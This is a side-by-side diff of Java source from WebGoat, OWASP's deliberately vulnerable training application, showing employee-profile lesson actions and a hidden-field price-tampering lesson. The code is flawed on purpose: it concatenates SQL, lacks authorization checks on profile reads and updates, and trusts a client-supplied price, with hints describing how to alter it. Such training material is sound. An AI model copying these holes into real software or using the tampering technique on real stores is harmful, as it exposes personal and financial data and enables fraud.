* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class SearchStaff extends DefaultLessonAction public class SearchStaff extends DefaultLessonAction
{ {
public SearchStaff(GoatHillsFinancial lesson, String lessonName, public SearchStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName) {
{ super(lesson, lessonName, actionName);
super(lesson, lessonName, actionName); }
}
public String getNextPage(WebSession s)
public String getNextPage(WebSession s) {
{ return GoatHillsFinancial.SEARCHSTAFF_ACTION;
return GoatHillsFinancial.SEARCHSTAFF_ACTION; }
}
} }

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
@ -12,236 +12,205 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class UpdateProfile extends DefaultLessonAction public class UpdateProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." super(lesson, lessonName, actionName);
+ GoatHillsFinancial.USER_ID); this.chainedAction = chainedAction;
int subjectId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID, 0);
String firstName = s.getParser().getStringParameter(
GoatHillsFinancial.FIRST_NAME);
String lastName = s.getParser().getStringParameter(
GoatHillsFinancial.LAST_NAME);
String ssn = s.getParser().getStringParameter(
GoatHillsFinancial.SSN);
String title = s.getParser().getStringParameter(
GoatHillsFinancial.TITLE);
String phone = s.getParser().getStringParameter(
GoatHillsFinancial.PHONE_NUMBER);
String address1 = s.getParser().getStringParameter(
GoatHillsFinancial.ADDRESS1);
String address2 = s.getParser().getStringParameter(
GoatHillsFinancial.ADDRESS2);
int manager = s.getParser().getIntParameter(
GoatHillsFinancial.MANAGER);
String startDate = s.getParser().getStringParameter(
GoatHillsFinancial.START_DATE);
int salary = s.getParser().getIntParameter(
GoatHillsFinancial.SALARY);
String ccn = s.getParser().getStringParameter(
GoatHillsFinancial.CCN);
int ccnLimit = s.getParser().getIntParameter(
GoatHillsFinancial.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(
GoatHillsFinancial.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser().getStringParameter(
GoatHillsFinancial.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(
GoatHillsFinancial.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName,
ssn, title, phone, address1, address2, manager, startDate,
salary, ccn, ccnLimit, disciplinaryActionDate,
disciplinaryActionNotes, personalDescription);
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID, Integer
.toString(subjectId));
}
else
this.createEmployeeProfile(s, userId, employee);
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
} }
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s) public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
{ UnauthorizedException, ValidationException
return GoatHillsFinancial.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
Employee employee) throws UnauthorizedException
{
try
{ {
// Note: The password field is ONLY set by ChangePassword if (isAuthenticated(s))
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," {
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); int subjectId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID, 0);
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.execute();
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
String firstName = s.getParser().getStringParameter(GoatHillsFinancial.FIRST_NAME);
String lastName = s.getParser().getStringParameter(GoatHillsFinancial.LAST_NAME);
String ssn = s.getParser().getStringParameter(GoatHillsFinancial.SSN);
String title = s.getParser().getStringParameter(GoatHillsFinancial.TITLE);
String phone = s.getParser().getStringParameter(GoatHillsFinancial.PHONE_NUMBER);
String address1 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS1);
String address2 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS2);
int manager = s.getParser().getIntParameter(GoatHillsFinancial.MANAGER);
String startDate = s.getParser().getStringParameter(GoatHillsFinancial.START_DATE);
int salary = s.getParser().getIntParameter(GoatHillsFinancial.SALARY);
String ccn = s.getParser().getStringParameter(GoatHillsFinancial.CCN);
int ccnLimit = s.getParser().getIntParameter(GoatHillsFinancial.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(GoatHillsFinancial.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer
.toString(subjectId));
}
else
this.createEmployeeProfile(s, userId, employee);
try
{
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
throw new UnauthenticatedException();
} }
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
private int getNextUID(WebSession s) public String getNextPage(WebSession s)
{
int uid = -1;
try
{ {
Statement statement = WebSession.getConnection(s).createStatement( return GoatHillsFinancial.VIEWPROFILE_ACTION;
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement
.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
} }
catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
}
catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
return uid + 1;
}
public void createEmployeeProfile(WebSession s, int userId, public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
Employee employee) throws UnauthorizedException throws UnauthorizedException
{
try
{ {
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.execute();
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
private int getNextUID(WebSession s)
{
int uid = -1;
try
{
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
} catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
} catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
return uid + 1;
}
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{
try
{
int nextId = getNextUID(s); int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase()); ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate()); ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes()); ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle) {
{ s.setMessage("Error updating employee profile");
s.setMessage("Error updating employee profile"); sqle.printStackTrace();
sqle.printStackTrace(); }
} } catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
} }
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
} }

View File

@ -1,146 +1,124 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class ViewProfile extends DefaultLessonAction public class ViewProfile extends DefaultLessonAction
{ {
public ViewProfile(GoatHillsFinancial lesson, String lessonName, public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." super(lesson, lessonName, actionName);
+ GoatHillsFinancial.USER_ID);
int employeeId = -1;
try
{
// User selected employee
employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
}
catch (ParameterNotFoundException e)
{
// May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID);
}
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else
throw new UnauthenticatedException();
} public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException
public String getNextPage(WebSession s)
{
return GoatHillsFinancial.VIEWPROFILE_ACTION;
}
protected Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{ {
String query = "SELECT * FROM employee WHERE userid = " getLesson().setCurrentAction(s, getActionName());
+ subjectUserId;
try if (isAuthenticated(s))
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{ {
// Note: Do NOT get the password field. int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
profile = new Employee(answer_results.getInt("userid"), int employeeId = -1;
answer_results.getString("first_name"), try
answer_results.getString("last_name"), {
answer_results.getString("ssn"), answer_results // User selected employee
.getString("title"), answer_results employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
.getString("phone"), answer_results } catch (ParameterNotFoundException e)
.getString("address1"), answer_results {
.getString("address2"), answer_results // May be an internally selected employee
.getInt("manager"), answer_results employeeId = getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
.getString("start_date"), answer_results }
.getInt("salary"), answer_results
.getString("ccn"), answer_results Employee employee = getEmployeeProfile(s, userId, employeeId);
.getInt("ccn_limit"), answer_results setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
.getString("disciplined_date"), }
answer_results.getString("disciplined_notes"), else
answer_results.getString("personal_description")); throw new UnauthenticatedException();
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
} }
return profile; public String getNextPage(WebSession s)
} {
return GoatHillsFinancial.VIEWPROFILE_ACTION;
}
protected Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -22,46 +22,44 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class HiddenFieldTampering extends LessonAdapter public class HiddenFieldTampering extends LessonAdapter
{ {
public final static A ASPECT_LOGO = public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
new A().setHref("http://www.aspectsecurity.com").addElement( .addElement(
new IMG("images/logos/aspect.jpg") new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setAlt("Aspect Security").setBorder(0) .setVspace(0));
.setHspace(0).setVspace(0));
private final static String PRICE = "Price"; private final static String PRICE = "Price";
@ -69,14 +67,14 @@ public class HiddenFieldTampering extends LessonAdapter
private final static String PRICE_TV_HACKED = "9.99"; private final static String PRICE_TV_HACKED = "9.99";
String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any interesting exploit! String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any
// interesting exploit!
Pattern pattern1 = Pattern.compile(regex); Pattern pattern1 = Pattern.compile(regex);
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = String script = "<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep
"<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep + "if (!regex.test(document.form." + PRICE + ".value)) {alert('Data tampering is disallowed'); "
+ "if (!regex.test(document.form." + PRICE + ".value)) {alert('Data tampering is disallowed'); " + " document.form." + PRICE + ".value = " + PRICE_TV + ";}" + lineSep + "else document.form.submit();"
+" document.form." + PRICE + ".value = " + PRICE_TV + ";}" + lineSep + "} " + lineSep + "</SCRIPT>" + lineSep;
+ lineSep + "else document.form.submit();" + lineSep + "} " + lineSep + "</SCRIPT>" + lineSep;
/** /**
* Constructor for the HiddenFieldScreen object * Constructor for the HiddenFieldScreen object
@ -104,8 +102,7 @@ public class HiddenFieldTampering extends LessonAdapter
price = s.getParser().getRawParameter(PRICE, PRICE_TV); price = s.getParser().getRawParameter(PRICE, PRICE_TV);
quantity = s.getParser().getFloatParameter("QTY", 1.0f); quantity = s.getParser().getFloatParameter("QTY", 1.0f);
total = quantity * Float.parseFloat(price); total = quantity * Float.parseFloat(price);
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Invaild data " + this.getClass().getName()); s.setMessage("Invaild data " + this.getClass().getName());
price = PRICE_TV; price = PRICE_TV;
@ -162,7 +159,8 @@ public class HiddenFieldTampering extends LessonAdapter
ec.addElement(input); ec.addElement(input);
ec.addElement(new BR()); ec.addElement(new BR());
} else }
else
{ {
if (!price.toString().equals(PRICE_TV)) if (!price.toString().equals(PRICE_TV))
{ {
@ -200,7 +198,7 @@ public class HiddenFieldTampering extends LessonAdapter
hints.add("Use a program to intercept and change the value in the hidden field."); hints.add("Use a program to intercept and change the value in the hidden field.");
hints hints
.add("Use <A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A> to change the price of the TV from " .add("Use <A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A> to change the price of the TV from "
+ PRICE_TV + " to " + PRICE_TV_HACKED + "."); + PRICE_TV + " to " + PRICE_TV_HACKED + ".");
return hints; return hints;
} }
@ -212,8 +210,7 @@ public class HiddenFieldTampering extends LessonAdapter
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = String instructions = "Try to purchase the HDTV for less than the purchase price, if you have not done so already.";
"Try to purchase the HDTV for less than the purchase price, if you have not done so already.";
return (instructions); return (instructions);
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -17,244 +17,234 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH; import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
